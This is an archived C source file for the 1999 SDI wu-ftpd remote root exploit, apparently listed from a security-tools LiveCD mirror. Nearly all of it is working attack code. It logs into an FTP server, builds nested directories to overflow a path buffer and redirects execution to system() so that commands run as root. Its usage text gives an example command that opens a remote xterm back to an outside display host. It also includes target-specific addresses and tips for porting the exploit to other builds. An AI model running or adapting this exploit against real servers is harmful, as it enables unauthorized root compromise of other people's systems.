home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / SDI-wu.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  308 lines

  1.  
  2. /*
  3.  * SDI wu-ftpd exploit for Linux (Feb 20, 1999)
  4.  *
  5.  * http://www.sekure.org - Brazilian Information Security Team.
  6.  *
  7.  * Source by jamez  (jamez@sekure.org)
  8.  *           c0nd0r (condor@sekure.org)
  9.  *
  10.  * This source let you execute commands as root if you have write 
  11.  * access on the ftp server.
  12.  *
  13.  * Usage: 
  14.  *
  15.  *    gcc SDI-wu.c -o SDI-wu
  16.  *
  17.  *    ./SDI-wu host user password dir command type [port] [align]
  18.  *
  19.  *    host:     the victim (ftp.microsoft.com)
  20.  *    user:     ftp user with write access (anonymous)
  21.  *    password: the password for the user (foo@bar.com)
  22.  *    dir:      the directory you have access (/incoming)
  23.  *    command:  the command ("/usr/X11R6/bin/xterm -display www.host.com:0")
  24.  *    type:     system type (see below)
  25.  *    port:     ftp port (21 default)
  26.  *    align:    the alignment (default 3)
  27.  *
  28.  *
  29.  * Limitations:
  30.  *
  31.  *    because I've used hard coded address's for system and the command, 
  32.  *    the  values  wont  be  the same in others compilations of wu-ftpd. 
  33.  *    so,  you will  need to  find   the  address   for   the   version
  34.  *    you want to exploit.
  35.  *
  36.  *    because we are not using the stack to  put our code, the  exploit
  37.  *    will work  as well against a non-executable stack patch.
  38.  *
  39.  *
  40.  * RECOMENDATION = Please, run gdb through the wu.ftpd binary in order to
  41.  * find out your "system address" (ie: print system) and  write it   down
  42.  * so you can have more address to try - just overwrite the default addr
  43.  * and choose type (3).
  44.  *
  45.  *
  46.  * Thanks for the sekure SDI: 
  47.  * fcon, bishop, dumped, bahamas, slide, vader, yuckfoo.
  48.  *
  49.  * Also thanks for #uground (irc.brasnet.org) and
  50.  * chaosmaker, c_orb(efnet) 
  51.  *
  52.  */
  53.  
  54.  
  55. #include <netinet/in.h>
  56. #include <sys/types.h>
  57. #include <sys/socket.h>
  58. #include <netdb.h>
  59. #include <stdio.h>
  60. #include <arpa/inet.h>
  61.  
  62. #define MAXLEN 255
  63. #define BSIZE 1024
  64.  
  65.  
  66.   
  67. struct sockaddr_in sa;
  68. struct hostent *he;
  69.  
  70.  
  71. char c = 'A';
  72.  
  73. char host[255],
  74.   user[255],
  75.   pass[255],
  76.   command[1024],
  77.   buff[2040], 
  78.   tmp[3060], 
  79.   netbuf[2040],
  80.   dir[255];
  81.  
  82. int sd, 
  83.   i, 
  84.   offset = 0, 
  85.   dirsize = 0, 
  86.   port=21, 
  87.   doit = 0,
  88.   done = 0,
  89.   todo = 0,
  90.   align = 3,
  91.   tipo = 0;
  92.  
  93. /* CUSTOM ADDRESS, CHANGE IT IN ORDER TO EXPLOIT ANOTHER BOX */
  94. #define SYSADDR 0x40043194;
  95. #define EGGADDR 0x805f1dc;
  96.  
  97. long systemaddr;
  98. long shelladdr;
  99.  
  100.  
  101. void usage(char * s) {
  102.   printf(" \nSDI wu-ftpd remote exploit (http://www.sekure.org)\n\n");
  103.   printf(" %s host user password dir command [port] [align]\n\n", s);
  104.   printf(" host:         the victim (ftp.microsoft.com)\n");
  105.   printf(" user:         ftp user with write access (anonymous)\n"); 
  106.   printf(" password:     the password for the user (foo@bar.com)\n");
  107.   printf(" dir:          the directory you have permission to write (/incoming)\n");
  108.   printf(" command:      the command (\"/usr/X11R6/bin/xterm -display www.host.com:0\")\n");
  109.   printf(" type:         see below\n");
  110.   printf(" port:         ftp port (21 default)\n");
  111.   printf(" align:        the alignment (3 default)\n");
  112.   printf("\n type:\n 0 - slak3.4 ver 2.4(4)\n 1 - slak3.4 ver beta-15&18");
  113.   printf("\n 2 - slak3.3 ver 2.4(2)");
  114.   printf("\n 3 - custom (change the code)\n\n See Netect advisory - ");
  115.   printf(" this is not suppose to be released soon! (Feb,1999)\n\n");
  116. }
  117.  
  118.  
  119.  
  120.  
  121. void get_dirsize() {
  122.   strcpy ( tmp, "PWD"); strcat ( tmp, "\n"); 
  123.   write ( sd, tmp, strlen(tmp));
  124.   read ( sd, netbuf, sizeof(netbuf));
  125.   
  126.   for(i = 0; i < strlen(netbuf); i++)
  127.     if(netbuf[i] == '\"') break;
  128.        
  129.   dirsize = 0;
  130.  
  131.   for(i++; i < strlen(netbuf); i++)
  132.     if(netbuf[i] == '\"') 
  133.       break;
  134.     else
  135.       dirsize++;
  136.    
  137.   bzero ( &netbuf, sizeof(netbuf));
  138.  
  139.  
  140. }
  141.  
  142. int main (int argc, char *argv[]) {
  143.  
  144.  
  145.   if (argc < 7)  {
  146.     usage(argv[0]);
  147.     exit(0);
  148.   }
  149.  
  150.   sprintf(host, "%s", argv[1]);
  151.   sprintf(user, "%s", argv[2]);
  152.   sprintf(pass, "%s", argv[3]);
  153.   sprintf(dir, "%s", argv[4]);
  154.   sprintf(command, "%s", argv[5]);
  155.   
  156.   tipo = atoi (argv[6]);
  157.   printf ( "%d\n\n", tipo);
  158.  
  159.   if ( argc > 7) port = atoi(argv[7]);
  160.   if ( argc > 8) align = atoi(argv[8]);
  161.  
  162.   
  163.   if (tipo <= 0) {
  164.   /* 2.4(4) libc5 slack 3.4 */
  165.    systemaddr = 0x400441f0;
  166.    shelladdr = 0x80604a0;
  167.   } else if (tipo == 1) {
  168.   /* beta 15 libc5 slack 3.4 */ 
  169.    systemaddr = 0x400441f0;
  170.    shelladdr = 0x8062510;
  171.   } else if (tipo == 2) {
  172. /* 2.4(4) libc5 slack 3.3 */
  173.    systemaddr = 0x400441f0;
  174.    shelladdr = 0x805f1e4;
  175.   } else { 
  176.  /* CUSTOM ADDRESS */
  177.    systemaddr = SYSADDR;
  178.    shelladdr = EGGADDR;
  179.   }
  180.  
  181.   sd = socket ( AF_INET, SOCK_STREAM, 0);
  182.  
  183.   sa.sin_family = AF_INET;
  184.   sa.sin_port = htons(port);
  185.  
  186.   he = gethostbyname (host);
  187.   if (!he) {
  188.     if ( (sa.sin_addr.s_addr = inet_addr(host)) == INADDR_NONE) {
  189.       printf ( "wrong ip address or unknown hostname\n"); exit(0);
  190.     }
  191.   } 
  192.   else {
  193.     bcopy ( he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
  194.   } 
  195.  
  196.   if ( connect ( sd, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
  197.     printf ( "Cannot connect to remote host: Connection refused\n");
  198.     exit(0);
  199.   }
  200.  
  201.   read ( sd, netbuf, sizeof(netbuf));
  202.   printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
  203.   /* ok. we're connected. */
  204.   strcpy ( tmp, "USER "); strcat (tmp, user); strcat ( tmp, "\n");
  205.   write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp));
  206.   read ( sd, netbuf, sizeof(netbuf));
  207.   printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
  208.   /* ok. send the pass. */   
  209.   strcpy ( tmp, "PASS "); strcat (tmp, pass); strcat ( tmp, "\n");
  210.   write ( sd, tmp, strlen(tmp));  bzero ( &tmp, sizeof(tmp));
  211.   read ( sd, netbuf, sizeof(netbuf));
  212.   if ( netbuf[0] == '5') {
  213.     printf ("Login incorrect!\n"); exit(0); }
  214.  
  215.   printf ( "%s\n", netbuf); 
  216. #ifdef DEBUG
  217.   printf ( "Ok, we're on! Press any key to exploit it\n"); 
  218.   gets(netbuf);
  219. #endif
  220.   bzero ( &netbuf, sizeof(netbuf));
  221.  
  222.  /* ok. let's get to the vulnerable dir */
  223.   strcpy ( tmp, "CWD "); strcat (tmp, dir); strcat ( tmp, "\n");
  224.   write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp));
  225.   read ( sd, netbuf, sizeof(netbuf));
  226.   printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
  227.  
  228.  
  229.   get_dirsize(); /* gets home dir size */
  230.  
  231.  
  232.   todo = BSIZE - dirsize - 60 - 4;
  233.  
  234.   
  235.   /* ok, we're on. let's get things working here! */
  236.   while(done < todo) {
  237.    
  238.     if((todo - done) > 255) 
  239.       doit = 255;
  240.     else
  241.       doit = todo - done;
  242.  
  243.    
  244.     for (i = 0; i < doit; i++)
  245.       buff[i] = c; 
  246.     buff[doit] = '\0';
  247.    
  248.  
  249.     strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n"); 
  250.     write ( sd, tmp, strlen(tmp));
  251.     read ( sd, netbuf, sizeof(netbuf));
  252.     if ( netbuf[1] == '2') {
  253.       printf ("error while creating the dir, let's try another name...\n\n");
  254.       c++;      
  255.       continue;
  256.     }
  257.     else 
  258.       done += doit;
  259.  
  260.     bzero ( &tmp, sizeof(tmp));  bzero ( &netbuf, sizeof(netbuf));
  261.     strcpy ( tmp, "CWD "); strcat ( tmp, buff); strcat ( tmp, "\n");
  262.     write ( sd, tmp, strlen(tmp)); 
  263.     read ( sd, netbuf, sizeof(netbuf));
  264.     if ( netbuf[0] == '5') {
  265.       printf ("error while exploiting the remote host: Cannot cd dir!\n\n");
  266.     }
  267.     bzero ( &tmp, sizeof(tmp));  bzero ( &netbuf, sizeof(netbuf));
  268.   }
  269.  
  270.  
  271.  
  272.   /* prepare last one */
  273.   
  274.   memset(buff, 'X', MAXLEN);
  275.  
  276.   for(i = align; i < 100; i += 4) {
  277.     buff[i  ] = systemaddr & 0x000000ff;
  278.     buff[i+1] = (systemaddr & 0x0000ff00) >> 8;
  279.     buff[i+2] = (systemaddr & 0x00ff0000) >> 16;
  280.     buff[i+3] = (systemaddr & 0xff000000) >> 24;
  281.   }
  282.  
  283.   buff[i++] = shelladdr & 0x000000ff;
  284.   buff[i++] = (shelladdr & 0x0000ff00) >> 8;
  285.   buff[i++] = (shelladdr & 0x00ff0000) >> 16;
  286.   buff[i++] = (shelladdr & 0xff000000) >> 24;
  287.  
  288.   strcat(command, ";");
  289.   memcpy(buff+140, command, strlen(command));
  290.  
  291.  
  292.   buff[MAXLEN] = '\0'; 
  293.  
  294.   strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n"); 
  295.   write ( sd, tmp, strlen(tmp));
  296.   read ( sd, netbuf, sizeof(netbuf));
  297.   bzero ( &tmp, sizeof(tmp));  bzero ( &netbuf, sizeof(netbuf));
  298.  
  299.   /* ok. */
  300.  
  301.   printf ( "Exploiting %s\n", dir);
  302.   printf ( "Using 0x%x(system) and 0x%x(command), alignment = %d, port = %d\n", systemaddr, shelladdr, align, port);
  303.   printf("\nI guess you're a hax0r now :D.\n");
  304.  
  305.   close (sd);
  306.  
  307. }
  308.